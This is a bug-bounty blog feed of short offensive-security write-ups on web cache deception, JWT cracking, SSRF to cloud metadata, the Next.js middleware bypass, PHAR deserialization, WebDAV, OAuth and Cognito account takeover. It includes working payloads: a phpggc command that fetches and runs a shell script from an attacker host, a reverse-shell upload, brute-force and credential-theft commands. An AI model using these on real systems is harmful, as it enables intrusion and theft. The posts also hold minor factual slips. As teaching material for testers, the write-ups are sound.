DEV Community: David Karpinski

Web Cache Deception Attacks

David Karpinski — Fri, 09 May 2025 18:09:21 +0000

Web Cache Deception is a vulnerability first described in 2017. It occurs when a caching system — such as a reverse proxy or CDN — can be tricked into caching sensitive, dynamic content that should only be delivered to authenticated users but ends up being publicly available. This is usually due to poorly thought-out or inconsistent configurations in how the cache interprets and stores different types of requests.

The logic behind the vulnerability

Many caching systems have simple rules for deciding what can and cannot be cached. A common pattern is to only cache "static" files — such as those ending in .js, .css, .png, .ico, etc. The problem arises when the cache relies solely on the structure of the URL path to make this decision, ignoring the actual behavior of the server behind it.

Imagine this: the caching system is instructed to cache any request whose path ends in .js. At the same time, due to a poorly understood limitation or "feature", this system also ignores anything that comes after a semicolon (;) in the URL. Now, think of a URL like this:

https://example.com/account/profile;a.js

To the cache, this looks like a legitimate JavaScript file. But to the application server, it ignores the colon and everything that follows. If /account/profile returns private information about the logged-in user, that response may end up being stored and made publicly available.

You can identify this type of behavior by monitoring HTTP headers like X-Cache:, Cf-Cache-Status:, and others, especially if they return values like hit, miss, or dynamic. Also be aware of the value in the Age: header.

Exploitation Scenarios

Now let’s combine this flaw with business logic to show how the impact can be even more severe. Suppose you have a Discord-style application where users can create invite links to access groups or servers. These invites can be temporarily valid or manually disabled. Naturally, when they are invalidated, the system should prevent any reuse.

But now imagine someone exploiting Web Cache Deception in the following way:

1 - A user creates a valid invite, for example:

https://example.com/invite/ABC-DEF

2 - This user accesses this modified URL:

https://example.com/invite/ABC-DEF;a.js

Even though ;a.js is meaningless to the application server, the caching system may interpret it as a static resource. The response is then cached. Another exploit is using a line-feed (\n, URL-encoded as %0a), instead of the colon, or even %00, if you're dealing with Akamai, Fastify or OpenLiteSpeed.

3 - The original invitation is then deleted or expires. The "official" URL /invite/ABC-DEF now returns a 404, as expected.

4 - However, when accessing the version with ;a.js again, the response is served directly from the cache — and is still valid. This is because the cache has stored the previous response as if it were static and public.

If the response includes the content of the invitation or an automatic redirect, the attacker can reuse the link even after it has been revoked.

[REPOST] Installing Genymotion for Android App Pentesting: The Definitive Guide

David Karpinski — Fri, 02 May 2025 12:08:51 +0000

With the growing use of mobile applications, the security of these applications has become a key concern for developers and businesses. Although it is sometimes overlooked, testing the security of Android applications is a crucial step in ensuring that they are protected against vulnerabilities and threats. In this article, I will demonstrate how to install Genymotion, a powerful virtualization tool, so that you can perform penetration testing on Android applications.

Genymotion

Genymotion is by far the most widely used Android device emulation tool for auditing Android apps, due to its practicality and some of the features it offers. You can install it directly from the official website. It is worth remembering that Genymotion is, in principle, based on VirtualBox. It is worth remembering that Genymotion is, in principle, based on VirtualBox. You can install it together with it, or separately. You also need to create an account on the website to log into the app later.

Genymotion is usually a paid tool with support, but it has a free version for personal use. There are also trials and student discounts.

Creating your first Instance

When you click the “Add Virtual Device” button, Genymotion suggests several image options from different brands. I suggest choosing the one that best suits you, always keeping in mind the physical limitations and physical capabilities of your machine. Also, certain apps don’t support very old versions of Android, so be aware of that. One of the advantages of Genymotion over some other emulators is that it enables root by default.

One caveat is that as pentesters, we typically leave the network configuration in NAT (Network Address Translation) mode, which assigns the VM an IP address and allows us to access it locally. This address will likely be 10.0.3.16.

To install the PlayStore app, simply access the Open GApps option in the sidebar of the virtual device and restart it.

Troubleshooting

Many Windows users, when trying to start an instance in Genymotion, face the following error:

To resolve it, if none of the instructions in this FAQ work, the recommendation is to change the hypervisor to QEMU. Since this requires Hyper-V to be enabled, we will enable it with PowerShell and then reboot the computer.

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

Restart-Computer

Next, we access the Genymotion settings and set “QEMU (experimental)” in the “Hypervisor” tab. Now it will probably work correctly.

Setting up Burp Suite

Burp Suite is a web proxy widely used for testing web applications and APIs. It allows you to intercept traffic between an application and its backend, revealing interesting information. To configure the proxy between the device’s communication with the internet, we access the Wi-Fi settings, and click on the edit connection button (advanced options), and add a “manual proxy”. By default, in emulated environments, localhost is represented by the address 10.0.3.2. We then configure the default port of Burp Suite, which is 8080.

If it does not work with IP 10.0.3.2, it is also possible to obtain information about the IP of the VirtualBox Ethernet interface using the ipconfig command.

Importing CA Cert

In order to intercept HTTPS traffic, we need to export a CA Cert from Burp Suite via the “Proxy Settings” > “Import/Export CA Cert” tab and choose the “Cert in DER Format” option. To transfer it to the virtual device, just drag and drop.

To import the certificate on Android, go to “Settings” > “Internet” > “Wi-Fi Preferences” > “Install certificates” and upload the DER file, from /sdcard.

That’s it, now our environment for testing Android applications is complete.

Thanks!

How I found my "First Bug" in a public bug bounty program

David Karpinski — Fri, 18 Apr 2025 12:56:25 +0000

Today I was reviewing my Telegram channels and realized that I hadn't written a summary of my "first bug" (in quotes - only those in the know will understand). It happened that while searching on a public program (I can't say the platform so as not to give spoilers), when it comes to a cryptocurrency investment platform, I found a link on the main website to an academy website (so far I haven't run any tool).

Indeed, I wasn't expecting to find any bugs, but I decided to test it since it didn't have much functionality. I tested for all sorts of vulnerabilities related to authentication and business logic (since that's what I really like to test), but so far without success. Analyzing the website, I could see that it used authentication via JWT tokens and it is known that poor implementation of this type of authentication can lead to various types of vulnerabilities. I decided to start with the most obvious bug, that is, trying to crack the signature key and, for my surprise, it worked!

The key was ridiculously easy to crack and my friends even joked: "the developer really wanted to help you, because it cannot be possible..." and added the following command to their bug bounty checklists:

hashcat -m 16500 -w3 -S <file with JWT>

So by changing the userId parameter I was able to account takeover any other account without knowing their credentials, and in this way, access and manipulate their personal information, change their password. I also tested it using the email parameter, but without success.

Unfortunately the bug was considered out of scope by the company's staff and I didn't receive anything for it, although it was approved by the platform's triagers.

Exploiting CLRF in PHP cURL to retrieve Azure Access Tokens

David Karpinski — Thu, 27 Mar 2025 16:42:53 +0000

Server-Side Request Forgery (SSRF) is a critical vulnerability that allows an attacker to force a server to make requests to internal or external resources, often bypassing network restrictions. In cloud environments such as Microsoft Azure, this flaw can be exploited to access the instance metadata API, which can expose temporary credentials for virtual machines.

Azure Metadata API

Azure provides an internal API accessible through the endpoint:

http://169.254.169.254/metadata/instance?api-version=2021-02-01

This API is designed to be accessible only by processes running inside the VM. However, to obtain a valid response, the Metadata: true header must be included in the HTTP request. If a vulnerable web service can be exploited to make arbitrary requests, an attacker could extract critical information such as access keys to Azure resources.

CRLF Injection in PHP cURL

CRLF (Carriage Return + Line Feed) Injection occurs when an attacker is able to inject newline characters into HTTP headers, manipulating the request in unexpected ways.

In PHP, the curl_setopt function can be misconfigured when setting custom headers, allowing an attacker to inject CRLF characters (%0D%0A). This can be used to modify the HTTP request and even add new headers. If the application receives a URL as a parameter from user input, and it is not properly sanitized, an attacker can inject a CRLF and add arbitrary headers to the request:

http://169.254.169.254/metadata/instance?api-version=2021-02-01%0D%0AMetadata%3A%20true

This may result in the following malicious request:

GET /metadata/instance?api-version=2021-02-01 HTTP/1.1
Host: 169.254.169.254
Metadata: true

The request will be sent to 169.254.169.254, accessing the Azure Metadata API with the required header. To mitigate this vulnerability, it is recommended to always sanitize user input (something you probably already know) and use the CURLOPT_SAFE_UPLOAD and CURLOPT_REDIR_PROTOCOLS filters whenever applicable.

Next.js Middleware Broken Access Controls

David Karpinski — Thu, 27 Mar 2025 10:48:46 +0000

Recently, an Authorization Bypass vulnerability was discovered in the Next.js framework (one of the most popular today) and was cataloged as CVE-2025-29927 and received a CVSS score of 9.1 (which is very critical). The flaw affects self-hosted apps that use Middleware or rely on it for security validations (the same does not apply to static sites running on Netlify or Vercel).

Speaking in technical terms, the middleware relies on X-Middleware-Subrequest HTTP header to prevent infinite recursion and application crashes. But when used for security checks, more specifically when it comes to granting permission to access restricted endpoints, for example, it is possible to bypass these security controls and access confidential paths.

Want an example? Consider an application scenario where a user without the administrative role is prohibited from accessing the administrative endpoint. However, he can do so by passing a special header with the middleware path (often /pages/_middleware or just middleware):

GET /administration HTTP/1.1
Host: vulnerable-website.com
User-Agent: Mozilla/5.0
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

In this case, the vulnerable application would return status code 200 OK, granting the malicious user access to the restricted endpoint. To mitigate this vulnerability, the best thing to do is to update the framework to the latest versions. Additionally, Next.js itself recommends stripping this header from requests (you can for example configure a rule in the load balancer or reverse proxy to do this.) if it is not possible to update.

PHAR Deserialization in Monolog 2.7

David Karpinski — Mon, 10 Mar 2025 10:45:07 +0000

Monolog is a PHP logging library that sends logs to files, websockets, databases and other web services integrated into several frameworks, and known for the Insecure Deserialization vulnerability in its version 2.7, which can occur in several contexts, such as caching, but today I bring an example based on image upload functionality.

Once we verify that the application uses this library in this specific version (usually through the composer.json file), we can test for insecure deserialization in an image upload route, for example. But first we need to create the gadget with the PHPGGC collection:

phpggc -pj <base image> -o shell.jpg monolog/rce2 system 'curl http://<attacker-ip>/shell.sh|sh'

In the above example, the payload involves inducing a request to an attacker-controlled server and simultaneously downloading and executing a script containing a reverse shell, but it could be any command for PoC purposes, such as id.

Once the image is uploaded, consider that the application makes an API call to check if the image was actually uploaded successfully, through the GET method and passing the name of the image (which, in this case, contains serialized data) saved in a predefined directory as a parameter. For this data to be interpreted, we can pass the phar:// schema as a prefix:

GET /api/success.php?archive=phar:///uploads/shell.jpg HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0
Referer: http://redacted.com/profile/avatar/upload.php
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: close

If the exploit was indeed successful, the attacker would be able to view the request on your HTTP server and obtain a reverse shell.

Attacking WebDAV Protocol

David Karpinski — Sun, 09 Mar 2025 13:53:05 +0000

WebDAV (Web-based Distributed Authority Version) is a legacy protocol that can be defined as an extension of the HTTP protocol for collaborative file editing, as well as remote file management from an application. As mentioned, WebDAV is an obsolete protocol, but it is still relevant, given that it was exploited by Bumblebee malware back in 2023.

There are usually routes in the application like /webdav, which require login via dialog box (although it is possible to log in via URL), and the default credentials are usually webdav:webdav, but since this is not the law, we can try to brute-force it with Hydra.

hydra -L <user wordlist> -P <password wordlist> <host> http-get /webdav

Once logged into the WebDAV protocol we would be redirected to a directory listing, but more interesting than listing the files, we can test uploading a reverse shell via the HTTP PUT method:

curl -T <reverse shell> <URL>

Note: a particularity of PHP is that it does not overwrite existing files.

From there, just run the commands and be happy!

2FA Bypass via Response Manipulation

David Karpinski — Mon, 24 Feb 2025 10:45:49 +0000

You know that vulnerability that says "the developer must have the intention to collaborate with an attacker"? Well, this post is about that. Nowadays, it is rare to find applications whose login process consists only of basic authentication (login and password), but OAuth and MFA are increasingly being adopted. However, it is common for there to be flaws in the implementation of these technologies, leaving room for circumvention.

One of the most basic forms of 2FA is email confirmation with 4-digit codes (sometimes called OTPs) - which can also be used to reset your password or even register new accounts.

There are a wide range of attacks in this case, such as type confusion, OTP leak in HTTP response or 0000 attack. But, a very simple technique is to simply intercept the request response and change the status code to 200 (I know it doesn't seem like it works, but it does).

This happens because the application makes a comparison on the frontend based solely on the response.status_code property, and if it is 200 it authenticates.

Although it is a relatively simple and even funny attack, just search bug bounty platforms for reports of this category (or even PoC videos on YouTube), and you'll find a lot of them.

Tip: Instead of going crazy and injecting payloads, take the time to read the website's source code and understand what it actually does.

SSRF via Spring Cloud Gateway

David Karpinski — Fri, 21 Feb 2025 22:51:06 +0000

In Bug Bounty programs, it's extremelly common to find subdomains without a defined index, redirecting to the default Spring framework error page (with or without a defined /error route).

It is also very common to find lib routes (there is a good wordlist in SecLists repository specific for Spring Boot applications), such as /actuator/gateway, that return the status code 403 Forbidden (configuration defined in Nginx).

Due to inconsistencies in HTTP parsers, it is usually possible to bypass these controls by just adding the character ';' (or encoded '\x09'), in this specific case of Spring Boot in versions < 2.7 (since it removes such characters, while Nginx does not).

curl 'https://redacted/actuator;' | jq
{
  "_links": {
    "self": {
      "href": "http://redacted.com/actuator;",
      "templated": false
    },
    "gateway": {
      "href": "http://redacted.com/actuator;/gateway",
      "templated": false
    }
  }
}

Spring Cloud Gateway is a service that performs forwarding to other applications and returns the response on the route. In other words, this means that we can take advantage of this functionality to exploit an SSRF, and, if the server is hosted on a cloud service, it may be possible to access the Metadata service and obtain temporary access credentials. Often, you can create routes by making a POST request to /actuator;/gateway/routes/{route_id} with the following body:

{
  "id": "first",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [
      "StripPrefix=2"
  ],
  "uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials",
  "order": 0
}

After creating the route, it is necessary to refresh the route cache by sending a POST (yes, POST) request to /actuator;/gateway/refresh with no content in the response body. From then on it will be possible to trigger SSRF just by requesting the /first route.

This way we would gain access to the AWS account and control over certain resources.

Easy Bug: Open-Redirect on OAuth 2.0 redirect_uri param

David Karpinski — Wed, 19 Feb 2025 22:28:28 +0000

One of the most basic bugs present in insecure OAuth 2.0 implementations is the possibility of redirecting users to an attacker-controlled server by sending their authentication tokens along with it.

Those who are more familiar with OAuth will know that OAuth requests have several parameters, each with a specific functionality. If the configuration is done insecurely, it is possible to manipulate the redirect_uri parameter and assign it arbitrary values. A common defense mechanism is to validate whether the URI begins with the URL of the legitimate domain. However, an attacker simply needs to register a domain that begins with the domain name to bypass this validation.

https://accounts.redacted.com/api/auth?response_type=code&redirect_uri=http%3A%2F%2Fredacted.comattacker.com%2Fapi%2Fauth%2Fcallback&state=REDACTED&client_id=REDACTED&filter_callback=

To mitigate this vulnerability, the best thing to do is to validate the redirect_uri parameter completely, and not just checking if it starts with a specific term.

From debug mode enabled to PII disclosure via BFLA

David Karpinski — Tue, 18 Feb 2025 17:19:19 +0000

Today I bring a recent case, when analyzing the authentication flow of an application, I observed a call to an API endpoint from a "forgotten" subdomain (unfortunately I can't give more details).

It was immediately clear that it was an API in Django REST Framework and that debug mode was enabled and some endpoints were also revealed.

By accessing the /swagger route, I got information about requests and parameters, such as reading information from organizations. The point is that the "id" parameter was a large and unpredictable number, so it was necessary to know the identifier of an organization to query its information. The DELETE and POST methods were also documented (although POST was disabled).

Interestingly, when sending a request omitting the "id" parameter, information about all organizations was returned:

curl https://redacted.com/api/organization?id=&format=json

In other words, a Broken Function-Level Authorization since without any type of authentication it was possible to access data from all organizations!

Attacking Misconfigured Amazon Cognito: Zero-Click Account Takeover

David Karpinski — Mon, 17 Feb 2025 13:25:04 +0000

Introduction

Amazon Cognito is a delegated service for providing authentication/authorization and user management in general. Also in addition to basic auth OAuth via Identity Providers like Google or even enterprise standards like OpenID. To understand AWS Cognito authentication flow, we need to take a look at its components: user pool and identity pool.

User Pool

The User Pool is like a directory of users, which can be created directly in the AWS panel, as well as under user control (either in the flow in the application that implements the AWS Cognito SDK or interacting directly with the service).

Identity Pool

Identity Pool provides AWS temporary credentials that can eventually have higher permissions, providing more privileged access to other services. It is not uncommon to find Identity Pool IDs in frontend code or in the request flow in the application.

Zero-Click Account Takeover

One common case is when logging into the application and intercepting the request:

POST / HTTP/2
Host: cognito-idp.us-east-2.amazonaws.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 222 

{
    "AuthFlow": "USER_PASSWORD_AUTH",
    "ClientId": "REDACTED",
    "AuthParameters": {
        "USERNAME":" attacker@redacted.com",
        "PASSWORD": "REDACTED",
        "DEVICE_KEY": "REDACTED"
    },
    "ClientMetadata": {}
}

Imagine that tokens are returned:

{
    "AuthenticationResult": {
            "AccessToken": "REDACTED",
            "ExpiresIn": 3800,
            "IdToken": "REDACTED",
            "RefreshToken": "REDACTED",
            "TokenType": "Bearer"
        },
    "ChallengeParameters": {}
}

The application would then send another request to Cognito sending the access token as a parameter (and the X-Amz-Target: AWSCognitoIdentityProviderService.GetUser header) to fetch user attributes.

The interesting part is that, as attackers, we can use this access token to interact directly with the service via the command line and, in this way, modify attributes (which, according to the application's business logic, should be immutable):

aws --no-verify-ssl cognito-idp update-user-attributes --access-token REDACTED --user-attributes 'Name=emailAddr,Value=someoneelse@redacted.com' --region us-east-2

Since we changed the email parameter (it could be a user ID or something else) but kept our known password, we can takeover another user's account.

Identity Pool Escalation

Another case is that we have obtained a JWT token and want to escalate to Identity Pool. We can use this script to obtain temporary credentials from AWS:

python3 ./cognito-escalation.py --region=us-east-2 --pool_id=us-east-2_REDACTED --client_id=REDACTED --identity_pool_id=us-east-2:REDACTED --username=attacker@redacted.com--password=REDACTED | tee $HOME/.aws/config/credentials.txt

Another cool tool is Cognito-Scanner, which is very intuitive and practical to use.

cognito-scanner --region=us-east-2 --pool_id=us-east-2_REDACTED --client_id=REDACTED --identity_pool_id=us-east-2:REDACTED --username=attacker@redacted.com--password=REDACTED

Using the console command in the Pacu Framework we can scale access to the AWS console in the browser, making exploration easier.

Thanks for reading!